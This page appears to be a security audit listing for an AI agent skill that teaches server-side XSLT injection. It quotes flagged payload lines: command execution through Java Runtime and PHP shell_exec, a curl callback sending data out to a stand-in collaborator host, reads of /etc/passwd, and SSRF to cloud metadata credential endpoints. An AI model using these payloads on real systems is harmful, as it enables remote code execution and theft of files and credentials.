exploiting-xslt-server-side-injection
Demonstrates techniques for exploiting server-side XSLT injection vulnerabilities, enabling various attacks like SSRF and RCE.
Install this skill
Security score
The exploiting-xslt-server-side-injection skill was audited on Jun 14, 2026 and we found 28 security issues across 4 threat categories, including 4 critical. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 84 | <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/> |
Direct command execution function call
| 88 | <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/> |
Direct command execution function call
| 120 | Xalan -> java.lang.Runtime exec (Java extension namespace) |
Direct command execution function call
| 189 | | rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE | |
Curl to non-GitHub URL
| 84 | <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/> |
Curl to non-GitHub URL
| 128 | <xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/> |
Access to /etc/passwd
| 33 | The biggest miss is stopping at generic XXE. **Fingerprint the processor first**, then switch to processor-specific primitives — a failed `document('/etc/passwd')` or failed Java call does NOT mean th |
Access to /etc/passwd
| 46 | <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/> |
Access to /etc/passwd
| 47 | <!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML --> |
Access to /etc/passwd
| 48 | <xsl:value-of select="document('/etc/passwd')"/> <!-- may error --> |
Access to /etc/passwd
| 51 | <xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/> |
Access to /etc/passwd
| 53 | <!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext; |
Access to /etc/passwd
| 98 | - **File read**: `/etc/passwd` content (regex `root:.*?:0:0:`) or target file bytes appear in the transformed output. |
Access to /etc/passwd
| 102 | - Hardening is partial: `document('/etc/passwd')` failing on libxslt doesn't rule out `php:function`/SSRF; a blocked Java call on Saxon doesn't rule out `doc()`/`unparsed-text()`. |
Access to /etc/passwd
| 161 | A reporting endpoint transforms user XML into a PDF with Saxon. Injecting `unparsed-text('/etc/passwd')` embeds the password file into the generated PDF. |
Access to /etc/passwd
| 181 | 2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output. |
Access to /etc/passwd
| 188 | | unparsed-text('/etc/passwd') | root:x:0:0:... | File read | |
External URL reference
| 58 | <xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/> |
External URL reference
| 59 | <xsl:include href="http://127.0.0.1:8000/xslt"/> <!-- include fetched BEFORE access control --> |
External URL reference
| 60 | <xsl:value-of select="document('http://example.com:22')"/> <!-- port probe --> |
External URL reference
| 66 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" |
External URL reference
| 67 | xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> |
External URL reference
| 81 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" |
External URL reference
| 82 | xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> |
External URL reference
| 84 | <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/> |
External URL reference
| 99 | - **SSRF**: out-of-band callback hits your collaborator, OR `document('http://host:22')` returns a connect/timing difference per port. |
External URL reference
| 128 | <xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/> |
External URL reference
| 167 | A .NET converter blocks `msxsl:script` but `document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')` succeeds, leaking cloud IAM credentials. |